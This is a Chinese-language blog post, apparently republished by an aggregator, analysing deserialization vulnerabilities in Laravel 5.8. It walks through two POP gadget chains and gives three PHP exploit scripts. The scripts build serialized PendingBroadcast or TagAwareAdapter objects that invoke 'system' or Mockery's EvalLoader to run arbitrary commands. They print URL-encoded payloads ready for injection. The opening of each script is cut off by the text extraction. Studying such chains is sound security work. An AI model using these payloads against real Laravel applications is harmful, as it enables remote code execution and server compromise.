千家信息网

Laravel 5.8反序列化漏洞的示例分析

发表于:2024-11-24 作者:千家信息网编辑
千家信息网最后更新 2024年11月24日,这篇文章将为大家详细讲解有关Laravel 5.8反序列化漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。Laravel 5.8反序列化漏洞POP链1P
千家信息网最后更新 2024年11月24日Laravel 5.8反序列化漏洞的示例分析

这篇文章将为大家详细讲解有关Laravel 5.8反序列化漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

Laravel 5.8反序列化漏洞

POP链1

PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue

先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控,即可执行任意命令

再看pop链首

PendingBroadcast->__destruct

$this->events与$this->event可控。

这里需要调用Dispatcher->dispatch

跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true

跟进Dispatcher->dispatchToQueue

$this->queueResolver可控,$connection由传入的$command控制,也即是上面的$this->event,可控。

只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。

先找到ShouldQueue的实现类如下

这些类自身没有$connection属性,但是一些类使用的trait类Queueable中有$connection,如下

故如下类,可用

QueuedCommandBroadcastEventSendQueuedNotificationsCallQueuedClosure

至此已可编写exp,整理一下

PendingBroadcast->events = Dispatcher类PendingBroadcast->event = BroadcastEvent类          //包含$connection属性的ShouldQueue的实现类       Dispatcher->queueResolver = 要执行的函数 BroadcastEvent->connection = 参数    

exp1

queueResolver = "system";    }}namespace Illuminate\Broadcasting;class BroadcastEvent implements ShouldQueue{    public $connection;        public function __construct($cmd){        $this->connection  = $cmd;    }}    namespace Illuminate\Broadcasting;class PendingBroadcast{    protected $events;    protected $event;        public function __construct($events,$event){        $this->events = $events;        $this->event = $event;    }   }$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]);$dispatcher = new Illuminate\Bus\Dispatcher();$pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);echo urlencode(serialize($pending));echo "\n";?>

控制broadcastevent的$connection为要执行命令的参数即可执行命令了,其他师傅没有这么做,不是很理解原因。但是下面还是说一下其他师傅的。

利用参数可控的call_user_func可调用任意类方法,如下

故,这里可以调用EvalLoader类的load方法,如下

MockDefinition类的getCode方法返回值可控,如下

只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类),即可执行代码

跟踪getClassName方法

全局查找返回值可控的getName方法,发现MockConfiguration类

至此可编写exp,整理一下如下

PendingBroadcast->events = Dispatcher类PendingBroadcast->event = BroadcastEvent类          //包含$connection属性的ShouldQueue的实现类       Dispatcher->queueResolver = [EvalLoader类,"load"]         BroadcastEvent->connection = MockDefinition类       MockDefinition->config = MockConfiguration类                //任一getName返回值可控的类MockDefinition->code = 要执行的代码MockConfiguration->name = ConfigCacheCommand类      //任一未被载入的类

exp2

queueResolver = $cmd;    }}namespace Illuminate\Broadcasting;class BroadcastEvent{    public $connection;        public function __construct($cmd){        $this->connection  = $cmd;    }}namespace Mockery\Generator;class MockDefinition{        protected $config;        protected $code;        public function __construct($mockconfiguration,$code){                $this->config = $mockconfiguration;                $this->code = $code;        }}namespace Mockery\Generator;class MockConfiguration{        protected $name;        public function __construct($class){                $this->name  = $class;        }}namespace Mockery\Loader;class EvalLoader{}namespace Illuminate\Foundation\Console;class ConfigCacheCommand{}    namespace Illuminate\Broadcasting;class PendingBroadcast{    protected $events;    protected $event;        public function __construct($events,$event){        $this->events = $events;        $this->event = $event;    }   }$mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand());$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"");$broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition);$dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load"));$pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);echo urlencode(serialize($pending));echo "\n";?>

POP链2

TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave

先看命令执行处

若ProxyAdapter->setInnerItem、$innerItem、$item可控,则可命令执行。

回到POP链首

TagAwareAdapter->__destruct

跟进,TagAwareAdapter->commit

跟进,TagAwareAdapter->invalidateTags(截取部分)

令$this->pool=ProxyAdapter类

跟进ProxyAdapter->saveDeferred

跟进ProxyAdapter->doSave

首先,$item为我们传入的参数,也即是$TagAwareAdapter->deferred,可控。

204行的if语句,只要使得$item为CacheItem的实例即可通过。

$this->setInnerItem为ProxyAdapter的属性,可控。

$innerItem可通过代码213行控制

至此可以编写exp,整理一下

$TagAwareAdapter->deferred = ["4ut15m",CacheItem类]$TagAwareAdapter->pool = ProxyAdapter类$ProxyAdapter->setInnerItem = "system";$ProxyAdapter->poolHash = "4ut15m";$CacheItem->innerItem = 要执行的命令$CacheItem->poolHash = "4ut15m";

这条链并不复杂,具体的内容看exp

exp

deferred = array("4ut15m" => $obj2);                $this->pool = $obj;        }}namespace Symfony\Component\Cache;final class CacheItem{        protected $innerItem;        protected $poolHash;        public function __construct($cmd){                $this->innerItem = "$cmd";                $this->poolHash = "4ut15m";        }}namespace Symfony\Component\Cache\Adapter;class ProxyAdapter{        private $setInnerItem;        private $poolHash;        public function __construct(){                $this->setInnerItem = "system";                $this->poolHash = "4ut15m";        }}$cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]);$proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter();$TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem);echo urlencode(serialize($TagAwareAdapter));echo "\n";?>

关于"Laravel 5.8反序列化漏洞的示例分析"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

0